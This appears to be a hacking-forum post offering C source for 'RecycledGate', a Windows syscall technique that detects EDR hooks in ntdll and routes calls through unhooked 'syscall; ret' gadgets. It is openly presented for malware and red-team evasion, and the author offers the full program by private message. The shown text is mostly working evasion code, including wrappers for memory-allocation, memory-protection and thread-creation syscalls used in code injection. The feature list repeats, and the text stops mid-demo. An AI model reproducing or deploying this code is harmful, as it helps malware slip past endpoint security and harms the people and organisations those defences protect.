RecycledGate is basically a somwhat advanced syscall execution technique building on Hellsgate,Halosgate, & Tartarusgate. It dynamically resolve the syscall numbers and addresses from ntdll.dll, storing them in a table with hashes and "recycled" gate addresses (syscall; ret sequences). By scanning for JMP instructions, it detect hooked syscalls and searches for unhooked stubs within a defined memory range; This ensures robust and stealthy syscall execution, enhancing EDR evasion and anti-hooking capabilities for malwares red teams operations.
- Restores 26+ NT syscalls (memory, file, sync, system ops). Add or remove more as youd need.
- Wrapper functions for seamless syscall invocation.
- Hook detection and bypass via recycled gate addresses.
- Supports anti-hooking for red teaming and EDR evasion.
- Customizable for additional syscalls or obfuscation.
- Dynamic syscall number and stub resolution.
- compile in VS2022, x64 as a windows application.
- PM for full program / demo
-Remy.
RecycledGate.c
Main.c
recycledGate.asm
- Restores 26+ NT syscalls (memory, file, sync, system ops). Add or remove more as youd need.
- Wrapper functions for seamless syscall invocation.
- Hook detection and bypass via recycled gate addresses.
- Supports anti-hooking for red teaming and EDR evasion.
- Customizable for additional syscalls or obfuscation.
- Dynamic syscall number and stub resolution.
- compile in VS2022, x64 as a windows application.
- PM for full program / demo
-Remy.
RecycledGate.c
Code:
#include <Windows.h>
#include <stdio.h>
#include "structs.h"
#include "RecycledGate.h"
// Constants for hook detection
#define SYS_STUB_SIZE 32 // Size to search for instructions in syscall stub
#define UP -32 // Search direction upwards (earlier in memory)
#define DOWN 32 // Search direction downwards (later in memory)
// Add missing definition for FILE_POSITION_INFORMATION
typedef struct _FILE_POSITION_INFORMATION {
LARGE_INTEGER CurrentByteOffset;
} FILE_POSITION_INFORMATION, * PFILE_POSITION_INFORMATION;
// Add missing definition for DIRECTORY_QUERY
#ifndef DIRECTORY_QUERY
#define DIRECTORY_QUERY 0x0001
#endif
/*--------------------------------------------------------------------
Enhanced syscall table with recycle gate address
--------------------------------------------------------------------*/
typedef struct _RECYCLED_TABLE_ENTRY {
PVOID pAddress;
DWORD64 dwHash;
WORD wSystemCall;
PVOID pRecycledGate; // Address of syscall; ret instruction sequence
BOOL bHooked; // Flag to indicate if this syscall is hooked
} RECYCLED_TABLE_ENTRY, * PRECYCLED_TABLE_ENTRY;
typedef struct _RECYCLED_TABLE {
// Core functions
RECYCLED_TABLE_ENTRY NtAllocateVirtualMemory;
RECYCLED_TABLE_ENTRY NtProtectVirtualMemory;
RECYCLED_TABLE_ENTRY NtCreateThreadEx;
RECYCLED_TABLE_ENTRY NtWaitForSingleObject;
// File operations
RECYCLED_TABLE_ENTRY NtCreateFile;
RECYCLED_TABLE_ENTRY NtReadFile;
RECYCLED_TABLE_ENTRY NtWriteFile;
RECYCLED_TABLE_ENTRY NtClose;
RECYCLED_TABLE_ENTRY NtSetInformationFile;
RECYCLED_TABLE_ENTRY NtQueryInformationFile;
RECYCLED_TABLE_ENTRY NtOpenFile;
RECYCLED_TABLE_ENTRY NtQueryDirectoryFile;
// Synchronization
RECYCLED_TABLE_ENTRY NtCreateMutant;
RECYCLED_TABLE_ENTRY NtCreateSemaphore;
RECYCLED_TABLE_ENTRY NtReleaseSemaphore;
RECYCLED_TABLE_ENTRY NtWaitForMultipleObjects;
// System operations
RECYCLED_TABLE_ENTRY NtFreeVirtualMemory;
RECYCLED_TABLE_ENTRY NtQuerySystemInformation;
RECYCLED_TABLE_ENTRY NtQueryVolumeInformationFile;
RECYCLED_TABLE_ENTRY NtQueryAttributesFile;
RECYCLED_TABLE_ENTRY NtDelayExecution;
RECYCLED_TABLE_ENTRY NtFsControlFile;
RECYCLED_TABLE_ENTRY NtDeviceIoControlFile;
RECYCLED_TABLE_ENTRY NtSetSecurityObject;
RECYCLED_TABLE_ENTRY NtQueryDirectoryObject;
RECYCLED_TABLE_ENTRY NtOpenDirectoryObject;
} RECYCLED_TABLE, * PRECYCLED_TABLE;
// Global RECYCLED_TABLE instance
RECYCLED_TABLE g_RecycledTable = { 0 };
// Helper function to initialize an OBJECT_ATTRIBUTES structure
VOID InitializeObjectAttributes(
POBJECT_ATTRIBUTES InitializedAttributes,
PUNICODE_STRING ObjectName,
ULONG Attributes,
HANDLE RootDirectory,
PVOID SecurityDescriptor
) {
InitializedAttributes->Length = sizeof(OBJECT_ATTRIBUTES);
InitializedAttributes->RootDirectory = RootDirectory;
InitializedAttributes->Attributes = Attributes;
InitializedAttributes->ObjectName = ObjectName;
InitializedAttributes->SecurityDescriptor = SecurityDescriptor;
InitializedAttributes->SecurityQualityOfService = NULL;
}
// Helper function to initialize a UNICODE_STRING structure
VOID InitializeUnicodeString(
PUNICODE_STRING DestinationString,
PWCHAR SourceString
) {
if (SourceString) {
DestinationString->Length = (USHORT)(wcslen(SourceString) * sizeof(WCHAR));
DestinationString->MaximumLength = DestinationString->Length + sizeof(WCHAR);
DestinationString->Buffer = SourceString;
}
else {
DestinationString->Length = 0;
DestinationString->MaximumLength = 0;
DestinationString->Buffer = NULL;
}
}
// Hash function for comparing function names
DWORD64 HashFunctionName(BYTE* str) {
DWORD64 hash = 5381;
INT c;
while ((c = *str++))
hash = ((hash << 5) + hash) + c;
return hash;
}
/*--------------------------------------------------------------------
Enhanced function to get system call information including gate address
--------------------------------------------------------------------*/
BOOL GetSyscallTableEntry(PRECYCLED_TABLE_ENTRY pTableEntry, LPVOID pModuleBase, DWORD64 dwHash) {
// Get DOS header
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
// Get NT headers
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
// Get the Export Address Table
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase +
pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
if (pImageExportDirectory == NULL) {
return FALSE;
}
// Get pointer to exported function names, ordinals, and addresses
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORD pwAddressOfNameOrdinals = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
// Find the syscall function by hash
for (DWORD i = 0; i < pImageExportDirectory->NumberOfNames; i++) {
// Get function name
PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[i]);
// Skip non-Nt functions
if (pczFunctionName[0] != 'N' || pczFunctionName[1] != 't') {
continue;
}
// Calculate hash and compare
DWORD64 dwFunctionHash = HashFunctionName((BYTE*)pczFunctionName);
if (dwFunctionHash == dwHash) {
// Get function address
PBYTE pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinals[i]];
// Store function address and hash
pTableEntry->pAddress = pFunctionAddress;
pTableEntry->dwHash = dwFunctionHash;
pTableEntry->bHooked = FALSE; // Default to not hooked
// First, search for syscall number within the function
BOOL foundSyscall = FALSE;
PVOID pGate = NULL;
// Look for syscall number in the first 20 bytes (standard prologue scan)
for (INT j = 0; j < 20; j++) {
// Look for 0xB8 (mov eax, <syscall_number>) instruction
if (pFunctionAddress[j] == 0xB8) {
// Get syscall number (next 4 bytes after 0xB8)
WORD wSystemCall = *((PWORD)(pFunctionAddress + j + 1));
pTableEntry->wSystemCall = wSystemCall;
foundSyscall = TRUE;
// Now search for the syscall instruction
for (INT k = j; k < SYS_STUB_SIZE; k++) {
// Check for syscall; ret sequence (0F 05 C3)
if (pFunctionAddress[k] == 0x0F &&
pFunctionAddress[k + 1] == 0x05 &&
pFunctionAddress[k + 2] == 0xC3) {
pGate = (PVOID)(pFunctionAddress + k);
break;
}
}
break;
}
}
// Check if this function stub is hooked - look for JMP instruction (0xE9)
for (INT j = 0; j < SYS_STUB_SIZE; j++) {
if (pFunctionAddress[j] == 0xE9) { // JMP rel32 instruction
pTableEntry->bHooked = TRUE;
break;
}
}
// If hooked, we need to find an alternate syscall stub
if (pTableEntry->bHooked) {
// First try to search in function stubs before this one
BOOL foundAlternate = FALSE;
// Search DOWN (functions with higher syscall numbers)
for (INT offset = 1; offset <= 10; offset++) {
PBYTE pAltFunc = pFunctionAddress + (offset * DOWN);
// Ensure we're still within ntdll
PBYTE pHighestFunc = (PBYTE)pModuleBase +
pdwAddressOfFunctions[pwAddressOfNameOrdinals[pImageExportDirectory->NumberOfFunctions - 1]];
if (pAltFunc < pHighestFunc) {
// Look for syscall; ret pattern
for (INT j = 0; j < SYS_STUB_SIZE; j++) {
if (pAltFunc[j] == 0x0F &&
pAltFunc[j + 1] == 0x05 &&
pAltFunc[j + 2] == 0xC3) {
pGate = (PVOID)(pAltFunc + j);
foundAlternate = TRUE;
break;
}
}
if (foundAlternate) break;
}
}
// If still not found, try UP (functions with lower syscall numbers)
if (!foundAlternate) {
for (INT offset = 1; offset <= 10; offset++) {
PBYTE pAltFunc = pFunctionAddress + (offset * UP);
// Ensure we're still within ntdll
PBYTE pLowestFunc = (PBYTE)pModuleBase +
pdwAddressOfFunctions[pwAddressOfNameOrdinals[0]];
if (pAltFunc > pLowestFunc) {
// Look for syscall; ret pattern
for (INT j = 0; j < SYS_STUB_SIZE; j++) {
if (pAltFunc[j] == 0x0F &&
pAltFunc[j + 1] == 0x05 &&
pAltFunc[j + 2] == 0xC3) {
pGate = (PVOID)(pAltFunc + j);
foundAlternate = TRUE;
break;
}
}
if (foundAlternate) break;
}
}
}
}
// Store the syscall gate for later use
pTableEntry->pRecycledGate = pGate;
return (foundSyscall && pGate != NULL);
}
}
return FALSE;
}
/*--------------------------------------------------------------------
Initialize the Recycled Table with all system calls
--------------------------------------------------------------------*/
BOOL InitializeRecycledTable() {
// Get base address of ntdll.dll
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (hNtdll == NULL) {
return FALSE;
}
// Generate hashes for all functions we need
DWORD64 dwHashes[] = {
HashFunctionName((BYTE*)"NtAllocateVirtualMemory"),
HashFunctionName((BYTE*)"NtProtectVirtualMemory"),
HashFunctionName((BYTE*)"NtCreateThreadEx"),
HashFunctionName((BYTE*)"NtWaitForSingleObject"),
HashFunctionName((BYTE*)"NtCreateFile"),
HashFunctionName((BYTE*)"NtReadFile"),
HashFunctionName((BYTE*)"NtWriteFile"),
HashFunctionName((BYTE*)"NtClose"),
HashFunctionName((BYTE*)"NtSetInformationFile"),
HashFunctionName((BYTE*)"NtQueryInformationFile"),
HashFunctionName((BYTE*)"NtOpenFile"),
HashFunctionName((BYTE*)"NtQueryDirectoryFile"),
HashFunctionName((BYTE*)"NtCreateMutant"),
HashFunctionName((BYTE*)"NtCreateSemaphore"),
HashFunctionName((BYTE*)"NtReleaseSemaphore"),
HashFunctionName((BYTE*)"NtWaitForMultipleObjects"),
HashFunctionName((BYTE*)"NtFreeVirtualMemory"),
HashFunctionName((BYTE*)"NtQuerySystemInformation"),
HashFunctionName((BYTE*)"NtQueryVolumeInformationFile"),
HashFunctionName((BYTE*)"NtQueryAttributesFile"),
HashFunctionName((BYTE*)"NtDelayExecution"),
HashFunctionName((BYTE*)"NtFsControlFile"),
HashFunctionName((BYTE*)"NtDeviceIoControlFile"),
HashFunctionName((BYTE*)"NtSetSecurityObject"),
HashFunctionName((BYTE*)"NtQueryDirectoryObject"),
HashFunctionName((BYTE*)"NtOpenDirectoryObject")
};
// Pointers to all RECYCLED_TABLE_ENTRY structures in our RECYCLED_TABLE
PRECYCLED_TABLE_ENTRY pEntries[] = {
&g_RecycledTable.NtAllocateVirtualMemory,
&g_RecycledTable.NtProtectVirtualMemory,
&g_RecycledTable.NtCreateThreadEx,
&g_RecycledTable.NtWaitForSingleObject,
&g_RecycledTable.NtCreateFile,
&g_RecycledTable.NtReadFile,
&g_RecycledTable.NtWriteFile,
&g_RecycledTable.NtClose,
&g_RecycledTable.NtSetInformationFile,
&g_RecycledTable.NtQueryInformationFile,
&g_RecycledTable.NtOpenFile,
&g_RecycledTable.NtQueryDirectoryFile,
&g_RecycledTable.NtCreateMutant,
&g_RecycledTable.NtCreateSemaphore,
&g_RecycledTable.NtReleaseSemaphore,
&g_RecycledTable.NtWaitForMultipleObjects,
&g_RecycledTable.NtFreeVirtualMemory,
&g_RecycledTable.NtQuerySystemInformation,
&g_RecycledTable.NtQueryVolumeInformationFile,
&g_RecycledTable.NtQueryAttributesFile,
&g_RecycledTable.NtDelayExecution,
&g_RecycledTable.NtFsControlFile,
&g_RecycledTable.NtDeviceIoControlFile,
&g_RecycledTable.NtSetSecurityObject,
&g_RecycledTable.NtQueryDirectoryObject,
&g_RecycledTable.NtOpenDirectoryObject
};
// Get all system call numbers and gates
for (INT i = 0; i < sizeof(pEntries) / sizeof(pEntries[0]); i++) {
if (!GetSyscallTableEntry(pEntries[i], hNtdll, dwHashes[i])) {
return FALSE;
}
}
return TRUE;
}
/*--------------------------------------------------------------------
Wrapper functions for system calls using RecycledGate
--------------------------------------------------------------------*/
// NtSetInformationFile wrapper function
NTSTATUS RG_NtSetInformationFile(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass
) {
RecycledGate(g_RecycledTable.NtSetInformationFile.wSystemCall, g_RecycledTable.NtSetInformationFile.pRecycledGate);
return RecycledGateDescent(FileHandle, IoStatusBlock, FileInformation, Length, FileInformationClass);
}
// NtAllocateVirtualMemory wrapper function
NTSTATUS RG_NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
) {
RecycledGate(g_RecycledTable.NtAllocateVirtualMemory.wSystemCall, g_RecycledTable.NtAllocateVirtualMemory.pRecycledGate);
return RecycledGateDescent(ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect);
}
// NtProtectVirtualMemory wrapper function
NTSTATUS RG_NtProtectVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG NewProtect,
PULONG OldProtect
) {
RecycledGate(g_RecycledTable.NtProtectVirtualMemory.wSystemCall, g_RecycledTable.NtProtectVirtualMemory.pRecycledGate);
return RecycledGateDescent(ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect);
}
// NtCreateThreadEx wrapper function
NTSTATUS RG_NtCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
HANDLE ProcessHandle,
PVOID StartRoutine,
PVOID Argument,
ULONG CreateFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
PVOID AttributeList
) {
RecycledGate(g_RecycledTable.NtCreateThreadEx.wSystemCall, g_RecycledTable.NtCreateThreadEx.pRecycledGate);
return RecycledGateDescent(
ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle,
StartRoutine, Argument, CreateFlags, ZeroBits,
StackSize, MaximumStackSize, AttributeList
);
}
// NtWaitForSingleObject wrapper function
NTSTATUS RG_NtWaitForSingleObject(
HANDLE Handle,
BOOLEAN Alertable,
PLARGE_INTEGER Timeout
) {
RecycledGate(g_RecycledTable.NtWaitForSingleObject.wSystemCall, g_RecycledTable.NtWaitForSingleObject.pRecycledGate);
return RecycledGateDescent(Handle, Alertable, Timeout);
}
// NtCreateFile wrapper function
NTSTATUS RG_NtCreateFile(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength
) {
RecycledGate(g_RecycledTable.NtCreateFile.wSystemCall, g_RecycledTable.NtCreateFile.pRecycledGate);
return RecycledGateDescent(
FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock,
AllocationSize, FileAttributes, ShareAccess, CreateDisposition,
CreateOptions, EaBuffer, EaLength
);
}
// NtReadFile wrapper function
NTSTATUS RG_NtReadFile(
HANDLE FileHandle,
HANDLE Event,
PVOID ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length,
PLARGE_INTEGER ByteOffset,
PULONG Key
) {
RecycledGate(g_RecycledTable.NtReadFile.wSystemCall, g_RecycledTable.NtReadFile.pRecycledGate);
return RecycledGateDescent(
FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
Buffer, Length, ByteOffset, Key
);
}
// NtWriteFile wrapper function
NTSTATUS RG_NtWriteFile(
HANDLE FileHandle,
HANDLE Event,
PVOID ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length,
PLARGE_INTEGER ByteOffset,
PULONG Key
) {
RecycledGate(g_RecycledTable.NtWriteFile.wSystemCall, g_RecycledTable.NtWriteFile.pRecycledGate);
return RecycledGateDescent(
FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
Buffer, Length, ByteOffset, Key
);
}
// NtClose wrapper function
NTSTATUS RG_NtClose(
HANDLE Handle
) {
RecycledGate(g_RecycledTable.NtClose.wSystemCall, g_RecycledTable.NtClose.pRecycledGate);
return RecycledGateDescent(Handle);
}
// NtFreeVirtualMemory wrapper function
NTSTATUS RG_NtFreeVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG FreeType
) {
RecycledGate(g_RecycledTable.NtFreeVirtualMemory.wSystemCall, g_RecycledTable.NtFreeVirtualMemory.pRecycledGate);
return RecycledGateDescent(ProcessHandle, BaseAddress, RegionSize, FreeType);
}
// NtQueryInformationFile wrapper function
NTSTATUS RG_NtQueryInformationFile(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass
) {
RecycledGate(g_RecycledTable.NtQueryInformationFile.wSystemCall, g_RecycledTable.NtQueryInformationFile.pRecycledGate);
return RecycledGateDescent(FileHandle, IoStatusBlock, FileInformation, Length, FileInformationClass);
}
// NtOpenFile wrapper function
NTSTATUS RG_NtOpenFile(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG ShareAccess,
ULONG OpenOptions
) {
RecycledGate(g_RecycledTable.NtOpenFile.wSystemCall, g_RecycledTable.NtOpenFile.pRecycledGate);
return RecycledGateDescent(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, ShareAccess, OpenOptions);
}
// NtQueryDirectoryFile wrapper function
NTSTATUS RG_NtQueryDirectoryFile(
HANDLE FileHandle,
HANDLE Event,
PVOID ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass,
BOOLEAN ReturnSingleEntry,
PUNICODE_STRING FileName,
BOOLEAN RestartScan
) {
RecycledGate(g_RecycledTable.NtQueryDirectoryFile.wSystemCall, g_RecycledTable.NtQueryDirectoryFile.pRecycledGate);
return RecycledGateDescent(
FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
FileInformation, Length, FileInformationClass, ReturnSingleEntry,
FileName, RestartScan
);
}
// NtCreateMutant wrapper function
NTSTATUS RG_NtCreateMutant(
PHANDLE MutantHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
BOOLEAN InitialOwner
) {
RecycledGate(g_RecycledTable.NtCreateMutant.wSystemCall, g_RecycledTable.NtCreateMutant.pRecycledGate);
return RecycledGateDescent(MutantHandle, DesiredAccess, ObjectAttributes, InitialOwner);
}
// NtCreateSemaphore wrapper function
NTSTATUS RG_NtCreateSemaphore(
PHANDLE SemaphoreHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
LONG InitialCount,
LONG MaximumCount
) {
RecycledGate(g_RecycledTable.NtCreateSemaphore.wSystemCall, g_RecycledTable.NtCreateSemaphore.pRecycledGate);
return RecycledGateDescent(SemaphoreHandle, DesiredAccess, ObjectAttributes, InitialCount, MaximumCount);
}
// NtReleaseSemaphore wrapper function
NTSTATUS RG_NtReleaseSemaphore(
HANDLE SemaphoreHandle,
LONG ReleaseCount,
PLONG PreviousCount
) {
RecycledGate(g_RecycledTable.NtReleaseSemaphore.wSystemCall, g_RecycledTable.NtReleaseSemaphore.pRecycledGate);
return RecycledGateDescent(SemaphoreHandle, ReleaseCount, PreviousCount);
}
// NtWaitForMultipleObjects wrapper function
NTSTATUS RG_NtWaitForMultipleObjects(
ULONG Count,
HANDLE Handles[],
WAIT_TYPE WaitType,
BOOLEAN Alertable,
PLARGE_INTEGER Timeout
) {
RecycledGate(g_RecycledTable.NtWaitForMultipleObjects.wSystemCall, g_RecycledTable.NtWaitForMultipleObjects.pRecycledGate);
return RecycledGateDescent(Count, Handles, WaitType, Alertable, Timeout);
}
// NtQuerySystemInformation wrapper function
NTSTATUS RG_NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
) {
RecycledGate(g_RecycledTable.NtQuerySystemInformation.wSystemCall, g_RecycledTable.NtQuerySystemInformation.pRecycledGate);
return RecycledGateDescent(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
}
// NtQueryVolumeInformationFile wrapper function
NTSTATUS RG_NtQueryVolumeInformationFile(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FsInformation,
ULONG Length,
FS_INFORMATION_CLASS FsInformationClass
) {
RecycledGate(g_RecycledTable.NtQueryVolumeInformationFile.wSystemCall, g_RecycledTable.NtQueryVolumeInformationFile.pRecycledGate);
return RecycledGateDescent(FileHandle, IoStatusBlock, FsInformation, Length, FsInformationClass);
}
// NtQueryAttributesFile wrapper function
NTSTATUS RG_NtQueryAttributesFile(
POBJECT_ATTRIBUTES ObjectAttributes,
PFILE_BASIC_INFORMATION FileInformation
) {
RecycledGate(g_RecycledTable.NtQueryAttributesFile.wSystemCall, g_RecycledTable.NtQueryAttributesFile.pRecycledGate);
return RecycledGateDescent(ObjectAttributes, FileInformation);
}
// NtDelayExecution wrapper function
NTSTATUS RG_NtDelayExecution(
BOOLEAN Alertable,
PLARGE_INTEGER DelayInterval
) {
RecycledGate(g_RecycledTable.NtDelayExecution.wSystemCall, g_RecycledTable.NtDelayExecution.pRecycledGate);
return RecycledGateDescent(Alertable, DelayInterval);
}
// NtFsControlFile wrapper function
NTSTATUS RG_NtFsControlFile(
HANDLE FileHandle,
HANDLE Event,
PVOID ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG FsControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength
) {
RecycledGate(g_RecycledTable.NtFsControlFile.wSystemCall, g_RecycledTable.NtFsControlFile.pRecycledGate);
return RecycledGateDescent(
FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
FsControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength
);
}
// NtDeviceIoControlFile wrapper function
NTSTATUS RG_NtDeviceIoControlFile(
HANDLE FileHandle,
HANDLE Event,
PVOID ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG IoControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength
) {
RecycledGate(g_RecycledTable.NtDeviceIoControlFile.wSystemCall, g_RecycledTable.NtDeviceIoControlFile.pRecycledGate);
return RecycledGateDescent(
FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength
);
}
// NtSetSecurityObject wrapper function
NTSTATUS RG_NtSetSecurityObject(
HANDLE Handle,
SECURITY_INFORMATION SecurityInformation,
PSECURITY_DESCRIPTOR SecurityDescriptor
) {
RecycledGate(g_RecycledTable.NtSetSecurityObject.wSystemCall, g_RecycledTable.NtSetSecurityObject.pRecycledGate);
return RecycledGateDescent(Handle, SecurityInformation, SecurityDescriptor);
}
// NtQueryDirectoryObject wrapper function
NTSTATUS RG_NtQueryDirectoryObject(
HANDLE DirectoryHandle,
PVOID Buffer,
ULONG Length,
BOOLEAN ReturnSingleEntry,
BOOLEAN RestartScan,
PULONG Context,
PULONG ReturnLength
) {
RecycledGate(g_RecycledTable.NtQueryDirectoryObject.wSystemCall, g_RecycledTable.NtQueryDirectoryObject.pRecycledGate);
return RecycledGateDescent(DirectoryHandle, Buffer, Length, ReturnSingleEntry, RestartScan, Context, ReturnLength);
}
// NtOpenDirectoryObject wrapper function
NTSTATUS RG_NtOpenDirectoryObject(
PHANDLE DirectoryHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
) {
RecycledGate(g_RecycledTable.NtOpenDirectoryObject.wSystemCall, g_RecycledTable.NtOpenDirectoryObject.pRecycledGate);
return RecycledGateDescent(DirectoryHandle, DesiredAccess, ObjectAttributes);
}
/*--------------------------------------------------------------------
Enhanced RecycledGate Demo function to test all syscalls
--------------------------------------------------------------------*/
BOOL RecycledGateDemo() {
// Initialize the Recycled Table
if (!InitializeRecycledTable()) {
printf("[!] Failed to initialize RecycledGate table.\n");
return FALSE;
}
printf("[+] RecycledGate table initialized successfully.\n");
printf("[+] System Call Information:\n");
// Display system call information including hook detection
printf("%-30s %-12s %-18s %-10s\n", "Function", "SysCall", "RecycledGate", "Hooked?");
printf("%-30s %-12s %-18s %-10s\n", "--------", "-------", "------------", "-------");
// Create an array of all table entries for easier processing
PRECYCLED_TABLE_ENTRY pEntries[] = {
&g_RecycledTable.NtAllocateVirtualMemory,
&g_RecycledTable.NtProtectVirtualMemory,
&g_RecycledTable.NtCreateThreadEx,
&g_RecycledTable.NtWaitForSingleObject,
&g_RecycledTable.NtCreateFile,
&g_RecycledTable.NtReadFile,
&g_RecycledTable.NtWriteFile,
&g_RecycledTable.NtClose,
&g_RecycledTable.NtSetInformationFile,
&g_RecycledTable.NtQueryInformationFile,
&g_RecycledTable.NtOpenFile,
&g_RecycledTable.NtQueryDirectoryFile,
&g_RecycledTable.NtCreateMutant,
&g_RecycledTable.NtCreateSemaphore,
&g_RecycledTable.NtReleaseSemaphore,
&g_RecycledTable.NtWaitForMultipleObjects,
&g_RecycledTable.NtFreeVirtualMemory,
&g_RecycledTable.NtQuerySystemInformation,
&g_RecycledTable.NtQueryVolumeInformationFile,
&g_RecycledTable.NtQueryAttributesFile,
&g_RecycledTable.NtDelayExecution,
&g_RecycledTable.NtFsControlFile,
&g_RecycledTable.NtDeviceIoControlFile,
&g_RecycledTable.NtSetSecurityObject,
&g_RecycledTable.NtQueryDirectoryObject,
&g_RecycledTable.NtOpenDirectoryObject
};
// Function names for display
const char* functionNames[] = {
"NtAllocateVirtualMemory",
"NtProtectVirtualMemory",
"NtCreateThreadEx",
"NtWaitForSingleObject",
"NtCreateFile",
"NtReadFile",
"NtWriteFile",
"NtClose",
"NtSetInformationFile",
"NtQueryInformationFile",
"NtOpenFile",
"NtQueryDirectoryFile",
"NtCreateMutant",
"NtCreateSemaphore",
"NtReleaseSemaphore",
"NtWaitForMultipleObjects",
"NtFreeVirtualMemory",
"NtQuerySystemInformation",
"NtQueryVolumeInformationFile",
"NtQueryAttributesFile",
"NtDelayExecution",
"NtFsControlFile",
"NtDeviceIoControlFile",
"NtSetSecurityObject",
"NtQueryDirectoryObject",
"NtOpenDirectoryObject"
};
// Print syscall info for all functions
for (int i = 0; i < sizeof(pEntries) / sizeof(pEntries[0]); i++) {
printf("%-30s 0x%04x 0x%p %s\n",
functionNames[i],
pEntries[i]->wSystemCall,
pEntries[i]->pRecycledGate,
pEntries[i]->bHooked ? "YES" : "NO");
}
// Print stats about hooks detected
int totalHooked = 0;
for (int i = 0; i < sizeof(pEntries) / sizeof(pEntries[0]); i++) {
if (pEntries[i]->bHooked) {
totalHooked++;
}
}
printf("\n[+] Hook statistics:\n");
printf(" - Total syscalls: %d\n", (int)(sizeof(pEntries) / sizeof(pEntries[0])));
printf(" - Hooked syscalls: %d\n", totalHooked);
printf(" - Clean syscalls: %d\n", (int)(sizeof(pEntries) / sizeof(pEntries[0])) - totalHooked);
// Now test all syscall functions
printf("\n[+] Testing syscall functions with RecycledGate...\n");
NTSTATUS status;
DWORD successes = 0;
DWORD failures = 0;
DWORD skipped = 0;
// Define a test execution macro without try/catch (C-compatible)
#define TEST_SYSCALL(name, test_code) \
printf("\n
[*]Testing %s...\n", name); \
{ test_code }
// =================== Memory Operations ===================
TEST_SYSCALL("NtAllocateVirtualMemory", {
PVOID pBaseAddress = NULL;
SIZE_T RegionSize = 4096;
status = RG_NtAllocateVirtualMemory(
GetCurrentProcess(),
&pBaseAddress,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (NT_SUCCESS(status)) {
printf("[+] Memory allocated at 0x%p\n", pBaseAddress);
successes++;
// Test NtProtectVirtualMemory
TEST_SYSCALL("NtProtectVirtualMemory", {
ULONG OldProtect = 0;
status = RG_NtProtectVirtualMemory(
GetCurrentProcess(),
